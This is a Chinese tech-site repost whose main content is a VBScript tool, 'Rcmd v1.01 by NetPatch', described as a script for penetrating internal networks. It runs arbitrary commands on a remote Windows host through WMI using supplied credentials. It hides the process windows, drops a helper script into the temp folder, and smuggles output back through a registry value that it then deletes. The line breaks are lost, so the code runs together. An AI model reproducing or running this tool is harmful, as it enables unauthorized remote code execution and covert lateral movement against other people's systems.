首页 电脑 电脑学堂 查看内容

一个渗透内网VBS脚本

2009-10-19 10:14 896 0

摘要: PS:此脚本支持回显! On Error Resume NextSet outstreem=Wscript.stdoutIf (LCase(Right(Wscript.fullname,11))="...
关键词: Wscript echo ScriptFullName Description windir read wsh Thenwsh cscript temp

PS:此脚本支持回显! On Error Resume NextSet outstreem=Wscript.stdoutIf (LCase(Right(Wscript.fullname,11))="Wscript.exe") ThenSet objShell=Wscript.CreateObject("Wscript.shell")objShell.Run("cmd.exe /k cscript //nologo "&Chr(34)&Wscript.ScriptFullName&Chr(34))Wscript.QuitEnd IfIf Wscript.arguments.Count<4 Thenusage()Wscript.echo "Not enough Parameters."Wscript.QuitEnd Ifip=Wscript.arguments(0)username=Wscript.arguments(1)password=Wscript.arguments(2)CmdStr=Wscript.arguments(3)EchoStr=Wscript.arguments(4)foldername="c:\\windows\\temp\\"wsh.echo "Conneting "&ip&" ...."Set objlocator=CreateObject("wbemscripting.swbemlocator")Set objswbemservices=objlocator.connectserver(ip,"root/cimv2",username,password)showerror(err.number)Set Win_Process=objswbemservices.Get("Win32_ProcessStartup")Set Hide_Windows=Win_Process.SpawnInstance_Hide_Windows.ShowWindow=12Set Rcmd=objswbemservices.Get("Win32_Process")Set colFiles = objswbemservices.ExecQuery _("Select * from CIM_Datafile Where Name = '"&foldername&"read.vbs'")If colFiles.Count = 0 Thenwsh.echo "Not found read.vbs! Create Now!"Create_read()End IfIf EchoStr = "0" Thenmsg=Rcmd.create("cmd /c "&CmdStr,Null,Hide_Windows,intProcessID)Elsemsg=Rcmd.create("cmd /c cscript %windir%\temp\read.vbs """&CmdStr&"""",Null,Hide_Windows,intProcessID)End IfIf msg = 0 Thenwsh.echo "Command success..."Elseshowerror(Err.Number)End Ifwsh.echo "Please Wait 3 Second ...."wsh.sleep(3000)Set StdOut = Wscript.StdOutSet oReg=objlocator.connectserver(ip,"root/default",username,password).Get("stdregprov")oReg.GetMultiStringValue &H80000002,"SOFTWARE\Clients","cmd" ,arrValueswsh.echo String(79,"*")wsh.echo cmdstr&Chr(13)&Chr(10)'wsh.echo arrvaluesFor Each strValue In arrValuesStdOut.WriteLine strValueNextoReg.DeleteValue &H80000002,"SOFTWARE\Clients","cmd"Sub Create_read()RunYN =Rcmd.create("cmd /c echo set ws=WScript.CreateObject(^""WScript.Shell^"")> %windir%\temp\read.vbs"_&"&&echo str=ws.Exec(^""cmd /c ^""^&wscript.arguments(0)).StdOut.ReadAll:set ws=nothing>> %windir%\temp\read.vbs"_&"&&echo Set oReg=GetObject(^""winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv^"")>> %windir%\temp\read.vbs"_&"&&echo oReg.SetMultiStringValue ^&H80000002,^""SOFTWARE\Clients^"",^""cmd^"",Array(str) >> %windir%\temp\read.vbs",Null,Hide_Windows,intProcessID)If RunYN = 0 Thenwsh.echo "read.vbs Created!!!"Elseshowerror(Err.Number)End IfEnd SubFunction showerroronly(errornumber)If errornumber Thenwsh.echo "Error 0x"&CStr(Hex(Err.Number))&" ."If Err.Description <> "" Thenwsh.echo "Error Description: "&Err.Description&"."End IfWscript.QuitElseoutstreem.Write "."End IfEnd FunctionSub usage()wsh.echo string(79,"*")wsh.echo "Rcmd v1.01 by NetPatch"wsh.echo "Usage:"wsh.echo "cscript "&wscript.scriptfullname&" targetIP username password Command"wsh.echo "cscript "&wscript.scriptfullname&" targetIP username password Command 0 //No echo"wsh.echo string(79,"*")&vbcrlfend Sub
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部